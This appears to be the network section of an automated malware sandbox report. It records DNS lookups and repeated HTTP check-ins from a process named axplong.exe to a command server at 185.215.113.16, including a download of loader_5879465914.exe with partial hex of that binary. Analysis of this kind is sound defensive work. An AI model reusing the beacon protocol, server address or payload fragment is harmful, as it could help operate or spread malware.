Sep 27, 2024 17:43:11.419888973 CEST	49876	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:11.424607992 CEST	80	49876	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:12.144037008 CEST	80	49876	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:12.147452116 CEST	49876	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:12.150378942 CEST	49876	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:12.150667906 CEST	49877	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:12.155483961 CEST	80	49876	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:12.155529022 CEST	80	49877	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:12.155602932 CEST	49876	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:12.155635118 CEST	49877	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:12.155832052 CEST	49877	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:12.160572052 CEST	80	49877	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:12.889877081 CEST	80	49877	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:12.889940023 CEST	49877	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:13.007437944 CEST	49877	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:13.007725000 CEST	49878	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:13.014189005 CEST	80	49878	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:13.014261007 CEST	49878	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:13.014377117 CEST	49878	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:13.015579939 CEST	80	49877	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:13.015655041 CEST	49877	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:43:13.019248962 CEST	80	49878	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:13.723464966 CEST	80	49878	185.215.113.16	192.168.2.4
Sep 27, 2024 17:43:13.724644899 CEST	49878	80	192.168.2.4	185.215.113.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2024 17:42:04.736905098 CEST	63691	53	192.168.2.4	1.1.1.1
Sep 27, 2024 17:42:05.044639111 CEST	53	63691	1.1.1.1	192.168.2.4
Sep 27, 2024 17:42:48.616867065 CEST	56532	53	192.168.2.4	1.1.1.1
Sep 27, 2024 17:42:48.669641972 CEST	53	56532	1.1.1.1	192.168.2.4
Sep 27, 2024 17:42:48.701251984 CEST	50465	53	192.168.2.4	1.1.1.1
Sep 27, 2024 17:42:48.708861113 CEST	53	50465	1.1.1.1	192.168.2.4
Sep 27, 2024 17:42:54.940818071 CEST	60289	53	192.168.2.4	1.1.1.1
Sep 27, 2024 17:42:54.972533941 CEST	53	60289	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 27, 2024 17:42:04.736905098 CEST	192.168.2.4	1.1.1.1	0xa34c	Standard query (0)	eijfrhegrtbrfcd.online	A (IP address)	IN (0x0001)	false
Sep 27, 2024 17:42:48.616867065 CEST	192.168.2.4	1.1.1.1	0xf358	Standard query (0)	sanctam.net	A (IP address)	IN (0x0001)	false
Sep 27, 2024 17:42:48.701251984 CEST	192.168.2.4	1.1.1.1	0x3984	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 17:42:54.940818071 CEST	192.168.2.4	1.1.1.1	0x37f6	Standard query (0)	sanctam.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 27, 2024 17:42:05.044639111 CEST	1.1.1.1	192.168.2.4	0xa34c	No error (0)	eijfrhegrtbrfcd.online		172.67.187.100	A (IP address)	IN (0x0001)	false
Sep 27, 2024 17:42:05.044639111 CEST	1.1.1.1	192.168.2.4	0xa34c	No error (0)	eijfrhegrtbrfcd.online		104.21.64.194	A (IP address)	IN (0x0001)	false
Sep 27, 2024 17:42:48.669641972 CEST	1.1.1.1	192.168.2.4	0xf358	Name error (3)	sanctam.net	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 17:42:48.708861113 CEST	1.1.1.1	192.168.2.4	0x3984	No error (0)	github.com		140.82.121.3	A (IP address)	IN (0x0001)	false
Sep 27, 2024 17:42:54.972533941 CEST	1.1.1.1	192.168.2.4	0x37f6	Name error (3)	sanctam.net	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

eijfrhegrtbrfcd.online

github.com

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49737	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:02.480288982 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:03.184892893 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:03.186999083 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:03.414268017 CEST	305	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 33 0d 0a 20 3c 63 3e 31 30 30 30 33 35 39 30 30 31 2b 2b 2b 61 61 30 65 64 33 36 35 35 34 65 31 39 66 62 66 66 64 35 37 34 34 66 36 39 63 35 38 36 37 65 65 38 32 31 34 66 38 31 35 64 62 33 34 39 36 61 33 61 39 61 37 32 66 66 33 66 63 66 65 62 36 35 38 35 34 62 62 62 63 33 31 32 61 32 36 38 39 32 62 63 61 30 62 38 38 66 37 36 63 61 34 39 61 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 73 <c>1000359001+++aa0ed36554e19fbffd5744f69c5867ee8214f815db3496a3a9a72ff3fcfeb65854bbbc312a26892bca0b88f76ca49a#<d>0
Sep 27, 2024 17:42:03.417568922 CEST	65	OUT	GET /inc/loader_5879465914.exe HTTP/1.1 Host: 185.215.113.16
Sep 27, 2024 17:42:03.636137009 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:03 GMT Content-Type: application/octet-stream Content-Length: 435820 Last-Modified: Fri, 27 Sep 2024 14:49:05 GMT Connection: keep-alive ETag: "66f6c5e1-6a66c" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 12 00 86 a4 f6 66 00 e8 05 00 a8 08 00 00 f0 00 27 00 0b 02 02 1f 00 36 00 00 00 ae 00 00 00 0a 00 00 b0 14 00 00 00 10 00 00 00 00 40 00 00 00 00 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 05 00 02 00 00 00 00 00 00 a0 06 00 00 06 00 00 6c d7 06 00 02 00 60 01 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 b0 00 00 0c 10 00 00 00 f0 00 00 c0 45 00 00 00 80 00 00 78 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 68 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEdf'6@l` Ex@h(`.textX56`P`.dataP<@P.rdata`>@`@.pdataxP@0@.xdataT@0@.bss`.idataX@0.CRThj@@.tlsl@@.rsrcEFn@0/4@@B/19P@B/31)J@B/45(t@B/57@
Sep 27, 2024 17:42:03.636178970 CEST	224	IN	Data Raw: 0c 00 00 00 9e 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 37 30 00 00 00 00 00 e4 07 00 00 00 50 06 00 00 08 00 00 00 aa 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 29 2f 00 00 00 60 06 00 00 30 00 Data Ascii: @@B/70P@B/81)/`0@B/92p@B
Sep 27, 2024 17:42:03.636214018 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 27, 2024 17:42:03.636246920 CEST	1236	IN	Data Raw: 49 39 dd 75 ce 4a 8d 44 25 f8 48 c7 00 00 00 00 00 48 89 2d 8b 8c 00 00 e8 d6 18 00 00 48 8b 05 df 57 00 00 48 8b 15 70 8c 00 00 8b 0d 7a 8c 00 00 48 8b 00 48 89 10 4c 8b 05 5d 8c 00 00 48 8b 15 5e 8c 00 00 e8 20 16 00 00 8b 0d 3f 8c 00 00 89 05 Data Ascii: I9uJD%HH-HWHpzHHL]H^ ?='u- H[^_]A\A]D$`fDH5WO-HWHW!-1Hf
Sep 27, 2024 17:42:03.636279106 CEST	1236	IN	Data Raw: 00 00 5d c3 55 56 53 48 89 e5 48 89 4d 20 89 55 28 48 8b 45 20 48 8d 70 04 48 8b 45 20 4c 8d 58 08 48 8b 45 20 4c 8d 50 0c 8b 45 28 0f a2 41 89 d8 41 89 c1 48 8b 45 20 44 89 08 44 89 06 41 89 0b 41 89 12 90 5b 5e 5d c3 55 48 89 e5 48 83 ec 30 48 Data Ascii: ]UVSHHM U(HE HpHE LXHE LPE(AAHE DDAA[^]UHH0HEHEH0]UWHHH$HUnknown HProcessoHHHrHHHHHHD$ AAH
Sep 27, 2024 17:42:03.636312962 CEST	1236	IN	Data Raw: c0 75 2d b9 02 00 00 00 48 8b 05 2c 33 00 00 ff d0 49 89 c1 41 b8 17 00 00 00 ba 01 00 00 00 48 8d 0d 13 45 00 00 e8 d8 23 00 00 e9 40 01 00 00 48 8d 45 c0 48 89 c2 48 8d 0d 13 45 00 00 e8 a0 23 00 00 48 8d 45 c0 48 c7 44 24 30 00 00 00 00 c7 44 Data Ascii: u-H,3IAHE#@HEHHE#HEHD$0D$(D$ AAHHHHHEHHtYHEHHotHD"RHO2IA
Sep 27, 2024 17:42:03.636348009 CEST	896	IN	Data Raw: 89 c0 48 8d 15 d2 42 00 00 48 8b 4d 70 e8 c5 1e 00 00 eb 00 90 48 81 c4 d8 00 00 00 5f 5d c3 55 57 48 81 ec 98 04 00 00 48 8d ac 24 80 00 00 00 48 89 8d 30 04 00 00 48 8d 85 d0 03 00 00 48 89 c1 48 8b 05 9f 92 00 00 ff d0 c7 85 90 03 00 00 40 00 Data Ascii: HBHMpH_]UWHH$H0HHH@HHHHUnknown OSHHH HHHH6HHHHHUnknown HProcessoHH
Sep 27, 2024 17:42:03.636379957 CEST	1236	IN	Data Raw: b9 00 00 00 00 41 b8 01 00 00 40 48 8b 4d 10 48 8b 05 a9 8e 00 00 ff d0 85 c0 75 07 b8 00 00 00 00 eb 65 8b 45 f4 89 c0 48 89 c1 e8 77 1b 00 00 48 89 45 f8 48 83 7d f8 00 75 07 b8 00 00 00 00 eb 46 48 8b 45 18 89 c1 48 8b 55 f8 48 8d 45 f4 48 89 Data Ascii: A@HMHueEHwHEH}uFHEHUHEHD$ IA@HMHTuHEH:HEH@]UHHPHMHUH}tHEuHD$0HD$(HEHD$ AAHMH
Sep 27, 2024 17:42:03.636411905 CEST	1116	IN	Data Raw: 00 00 00 48 8b 05 09 26 00 00 ff d0 49 89 c1 41 b8 33 00 00 00 ba 01 00 00 00 48 8d 0d ea 3c 00 00 e8 b5 16 00 00 b8 01 00 00 00 e9 cb 00 00 00 b9 e9 fd 00 00 48 8b 05 cf 8a 00 00 ff d0 b9 e9 fd 00 00 48 8b 05 b9 8a 00 00 ff d0 e8 b2 ea ff ff 85 Data Ascii: H&IA3H<HHuH<RWH7tH7H<2kiHEH*HEHHHEHPHHtHH7HH`H
Sep 27, 2024 17:42:03.636450052 CEST	1236	IN	Data Raw: 1f 84 00 00 00 00 00 e8 fb 0c 00 00 b8 01 00 00 00 48 83 c4 28 c3 90 56 53 48 83 ec 28 48 8b 05 43 3c 00 00 83 38 02 74 06 c7 00 02 00 00 00 83 fa 02 74 13 83 fa 01 74 40 b8 01 00 00 00 48 83 c4 28 5b 5e c3 66 90 48 8d 1d 69 a1 00 00 48 8d 35 62 Data Ascii: H(VSH(HC<8ttt@H([^fHiH5bH9tHHtHH9uH([^H([^ff.f1HXHvHt,$L$ HL$ HT$(T$0\$8D$@HXff.
Sep 27, 2024 17:42:03.636497974 CEST	1236	IN	Data Raw: 00 00 00 4c 39 e6 0f 83 79 ff ff ff 4c 8d 76 08 49 83 c4 07 4c 8b 2d d8 37 00 00 48 8d 7d a8 4d 29 f4 49 c1 ec 03 4e 8d 64 e6 08 eb 0a 66 0f 1f 44 00 00 49 83 c6 08 8b 4e 04 8b 06 41 b8 04 00 00 00 48 89 fa 4c 89 f6 4c 01 e9 03 01 89 45 a8 e8 0e Data Ascii: L9yLvIL-7H}M)INdfDINAHLLEM9uGr1L%fH1rHDEtHPHHIAH(;r\|NQVuVH8F-V/HL-7LuL9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49738	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:05.050443888 CEST	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 33 35 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000359001&unit=246122658369
Sep 27, 2024 17:42:05.763284922 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49740	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:05.885186911 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:06.584541082 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:06.586177111 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:06.810822010 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49744	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:06.931915045 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:07.959161997 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:07.959450960 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:07.960340977 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:08.188471079 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49746	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:08.307951927 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:09.083329916 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:09.084280968 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:09.436841965 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49749	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:09.557512045 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:10.279664040 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:10.280847073 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:10.503495932 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49752	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:10.619585037 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:11.326113939 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:11.327959061 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:11.552459955 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49753	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:11.669706106 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:12.404237032 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
